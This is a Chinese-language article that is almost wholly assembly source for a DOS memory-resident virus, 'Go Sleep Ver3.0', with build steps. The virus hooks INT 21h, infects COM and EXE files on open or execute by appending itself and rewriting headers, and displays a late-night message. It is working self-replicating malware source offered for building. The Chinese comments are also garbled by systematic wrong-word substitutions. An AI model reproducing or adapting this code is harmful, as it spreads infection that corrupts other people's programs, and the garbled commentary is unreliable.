编写传染COM与EXE文件的病毒

;此措施是d由v0病毒改装进级而来
;在DOS下才有必然的熏染本领
;此措施部门应用了32位编程
;建造要领如下
;tasm32 dv1;
;tlink dv1;
;Debug dv1.exe
;-n dv1.com
;-w
;-q
;最后生成dv1.com病毒措施
OFF equ Offset
DosMcb Struc ;Dos内存节制链布局（部门）
Flag db ? ;是'M'则不是最后一块；是 'Z'则是最后一块
Owner dw ? ;是008: 则是系统所有；是0则为未利用内存块
Sizes dw ? ;本块巨细，按节计较（1节=10h字节）
DosMcb Ends
ExeHeader Struc ;Exe文件头布局
Flags dw 'ZM';Exe文件符号
ModSize dw ? ;Exe文件最后一页字节数
Pages dw ? ;Exe文件页数（1页为512字节）
Reloc dw ? ;Exe文件从定位项数
MeSize dw ? ;本文头节数
MinMem dw ? ;该措施所须最小内存（节）
MaxMem dw ? ;该措施所须最大内存（节）
StartSs dw ? ;措施Sp初值
StartSp dw ? ;措施相对Ss初值
CheckSum dw ? ;文件头查抄和
StartIp dw ? ;措施Ip初值
StartCs dw ? ;措施相对Cs初值
RelocOff dw ? ;从定位信息偏移
ExeHeader Ends
VirusSize=OFF @@End-OFF @@Start ；（病毒巨细）
VirusMemSize=OFF @@MemEnd-OFF @@Start ；（病毒需要的内存巨细）
.386
.model small
.code
org 100h ;按COM名目编写
@@Start: ;病毒引导块
pusha ;生存所有通用寄存器
mov ax,4d4dh
int 21h ;是否已经驻留内存(自界说间断）
cmp ax,4d4dh
jz short @@ExecOldApp ;否,挪用安装模块
call @@Install
@@ExecOldApp:
mov ah,2ch
int 21h ;获得系统时间
cmp cx,22*100h+30 ;（Cmp 时间：22：30）
jb short @@TestFlag ;不到22：30不挪用显示动静
call @@DisplayMsg ;挪用表示块
@@TestFlag:
clc ;预设为Clc指令，暗示是Com文件（若在熏染时被改成Stc则是Exe文件）
jc short @@IsExeApp
@@IsComApp:
call @@GetOldComAppCode
OldAppCode dw 20cdh ;20cdh恰是Int 20h指令，用以返回Dos
dw 0000h ;这里为生存原COM文件头部4字节信息
@@GetOldComAppCode:
pop si ;获得OldAppCode的地点
mov di,100h
cld
lodsd
stosd ;恢复兴COM头部4字节
popa ;规复所有通用寄器
push word ptr 100h
ret ;去执行原COM措施
@@IsExeApp:
popa ;规复所有通用寄器
cli ;改变仓库指针时要封锁间断
mov sp,es ;获得Psp（ Sp=PSP段址）
add sp,10h
SpAddData dw 0c481h;0bch是add sp,xxxx指令
OldAppSs dw 000h ;原Exe文件Ss相对值
mov ss,sp ;计较出原措施仓库并规复
MoveDataToSp db 0bch ;0bch是mov sp,xxxx指令
OldAppSp dw 000h ;原Exe文件Sp值
sti ;重新开启间断
push ax
mov ax,es ;获得Psp（ Ax=PSP段址）
add ax,10h
AxAddData db 005h ;05h是add ax,xxxx指令,计较原措施Cs值
OldAppCs dw 000h ;原Exe文件Cs相对值
movzx esp,sp ;转化为32位[esp]式仓库寻址
xchg ax,[esp] ;规复ax,而不能用"xchg ax,[sp]"16位不支持[sp]式仓库寻址
PushWordData db 068h ;068h是push word ptr xxxx指令
OldAppIp dw 000h ;原Exe文件Ip值
retf ;去执行原Exe措施
@@Install:
push ds
push es ;生存段寄存器
mov ax,ds
dec ax ;获得本身的MCB布局段址，它在措施的PSP前
@@ContFindLastMcb:
mov ds,ax
cmp ds:[Flag],'Z' ;是最后一块吗？
jz short @@FoundLastMcb
add ax,ds:[Sizes]inc ax ;计较下一个MCB 的段址=本块段址+本块巨细+1
jmp short @@ContFindLastMcb
@@FoundLastMcb:
sub ds:[Sizes],(VirusMemSize/10h)+1 ;把最后一块巨细减去病毒所须内存巨细（节数）
add ax,ds:[Sizes]inc ax ;计较出病毒在高端RAM的地点（即在最后一块划出的空间段址）
mov es,ax
xor di,di
push cs
pop ds ；复位数据段
call @@GetVirusBase
@@GetVirusBase:
pop si
sub si,OFF @@GetVirusBase-OFF @@Start ;获得病毒首址
mov cx,VirusSize
cld
rep movsb ;把病毒搬运到高端地点
sub ax,10h ;计较出高端病毒的段地点（为使病毒偏移对齐，所以减去10h）
mov ds,ax
@@ContInstall:
mov ax,3521h
int 21h ;取Int 21h的间断向量，并生存
mov ds:OldInt21Seg,es
mov ds:OldInt21Off,bx
lea dx,@@NewInt21
mov ax,2521h
int 21h ;设新的Int 21h处理惩罚措施到@@NewInt21处
pop es
pop ds
ret
@@NewInt21: ;新Int21 h处事措施(熏染块）
cmp ax,4d4dh
jnz short @@NextHook
iret ;是自界说间断，直接返回
@@NextHook:
cmp ah,4bh
jz short @@MyBeCom
cmp ah,43h
jz short @@MyBeCom
cmp ah,3dh
jz short @@MyBeCom ;截获4b,43,3d号Dos成果
@@JmpOldInt21:
cli ; 进入Int21h前，需要关间断！
JmpFar db 0eah ;远跳转指令jmp xxxx:xxxx
OldInt21Off dw ?
OldInt21Seg dw ?
@@CallInt21: ; 模仿Int 21h指令
pushf
push cs
call @@JmpOldInt21
ret
@@MyBeCom: ;进口参数ds:dx=以零末了的Com文件名字符串
pusha
push ds
mov si,dx
xor al,al
@@ContFindExtName: ;找扩展名
inc si
cmp [si],al
jnz short @@ContFindExtName
mov eax,[si-4]or eax,20202020h ;转化为小写字母
cmp eax,'moc.' ;是.com文件吗？
jz short @@IsComFile
cmp eax,'exe.' ;是.exe文件吗？
jz short @@IsExeFile
@@ExitOpt:
pop ds
popa
jmp short @@JmpOldInt21
@@IsComFile:
mov ax,3d02h
call @@CallInt21 ;3dh,打开COM文件
jc short @@OptComFalse ;失败
mov bx,ax
push cs
pop ds ;复位数据段
mov ds:byte ptr[@@TestFlag],0f8h ;设为Clc指令，暗示熏染的是Com文件
lea dx,OldAppCode
mov cx,4
mov ah,3fh
int 21h ;读文件首部4字节
jc short @@CloseComFile
mov si,dx
cmp word ptr[si],'ZM' ;是否是EXE文件（是否是Com文件不能仅由扩展名判定）
jz short @@CloseComFile ;是就不传染
cmp byte ptr[si+3],'V';是否有已风行症毒符号
jz short @@CloseComFile ;是则说明该措施已经被传染了
mov ax,4202h
xor cx,cx
xor dx,dx
int 21h ;将文件指针移到文件尾，返回dx:ax=文件长度
or dx,dx
jnz short @@CloseComFile ;文件太大不传染
mov dx,ax
add ax,VirusSize
jc short @@CloseComFile ;文件太大不传染
cmp ax,0fd00h
ja short @@CloseComFile ;文件太大不传染
sub dx,03 ;计较出Jmp Virus的偏移量
mov ds:JmpOffset,dx
lea dx,@@Start
mov cx,VirusSize
mov ah,40h
int 21h ;将病毒写到文件尾部
mov ax,4200h
xor cx,cx
xor dx,dx
int 21h ;把文件指针移到文件首
mov cx,04h
lea dx,@@JmpVirus
mov ah,40h
int 21h ;写Jmp Virus与病毒Flag 4字节到文件首部
@@CloseComFile:
mov ah,3eh
int 21h ;封锁文件
@@OptComFalse:
jmp short @@ExitOpt
@@IsExeFile:
mov ax,3d02h
call @@CallInt21 ;3dh,打开Exe文件
jc @@OptExeFalse ;失败
mov bx,ax
push cs
pop ds ;复位数据段
mov ds:byte ptr[@@TestFlag],0f9h ;设为Stc指令，暗示熏染的是Exe文件
lea dx,MyExeHeader
mov cx,size ExeHeader
mov ah,3fh
int 21h ;读文件首部4字节
jc @@CloseExeFile
cmp ax,cx
jb @@CloseExeFile
mov si,dx
cmp word ptr[si.Flags],'ZM' ;是否是EXE文件（是否是EXE文件不能仅由扩展名判定）
jnz @@CloseExeFile ;不是就不传染
cmp [si.CheckSum],'VV' ;是否有已风行症毒符号
jz @@CloseExeFile ;是则说明该措施已经被传染了
mov ax,4202h
xor cx,cx
xor dx,dx
int 21h ;将文件指针移到文件尾，返回dx:ax=文件长度
cmp dx,8h
ja short @@CloseExeFile ;文件太大，大概是Windows应用措施
shl edx,16
mov dx,ax
push edx ;生存文件巨细
shr edx,4
sub dx,[si.MeSize] ;计较病毒在该Exe措施中新的相对Cs
and ax,0fh ;计较病毒在该Exe措施中新的Ip值(0=<Ip<10h)
mov cx,dx ;cx=dx=新的相对Cs值
xchg [si.StartCs],dx
mov ds:[OldAppCs],dx ;修改相对Cs值，生存原相对Cs值
xchg [si.StartSs],cx
mov ds:[OldAppSs],cx ;修改相对Ss值，生存原相对Ss值
xchg [si.StartIp],ax
mov ds:[OldAppIp],ax ;修改Ip值，生存原Ip值
xor ax,ax
xchg [si.StartSp],ax ;修改Sp值，生存原Sp值
mov ds:[OldAppSp],ax
mov [si.CheckSum],'VV';配置熏染符号
pop edx ;弹出文件巨细
mov ecx,VirusSize
add edx,ecx ;计较传染后文件的巨细
mov ax,dx
and ax,1ffh ;计较传染后文件的ModSize
mov [si.ModSize],ax
add edx,1ffh
shr edx,9 ;计较传染后文件的Pages
mov [si.Pages],dx
lea dx,@@Start
mov ah,40h
int 21h ;将病毒写到文件尾部
mov ax,4200h
xor cx,cx
xor dx,dx
int 21h ;把文件指针移到文件首
mov cx,size ExeHeader
lea dx,MyExeHeader
mov ah,40h
int 21h ;写文件头到文件首部
@@CloseExeFile:
mov ah,3eh
int 21h ;封锁文件
@@OptExeFalse:
jmp @@ExitOpt
@@JmpVirus:
JumpNear db 0e9h ;近转移指令Jmp near xxxx
JmpOffset dw ?
VirusFlag db 'V' ;病毒符号为'V'字符
@@DisplayMsg:
pop dx
push dx
add dx,OFF @@Message-OFF @@TestFlag ;计较@@Message的偏移量
push ds
push cs
pop ds
mov ah,09h
int 21h ;显示信息，“夜已深，你该睡觉了!”
pop ds
ret
@@Message:
db 0ah,0dh,07h
db 'Night is deep,you must go sleep!'
db 0ah,0dh,'$'
db 'Go Sleep Ver3.0 by Whg 2001.5.2'
@@End:
MyExeHeader db size ExeHeader dup(?)
@@MemEnd:
end @@Start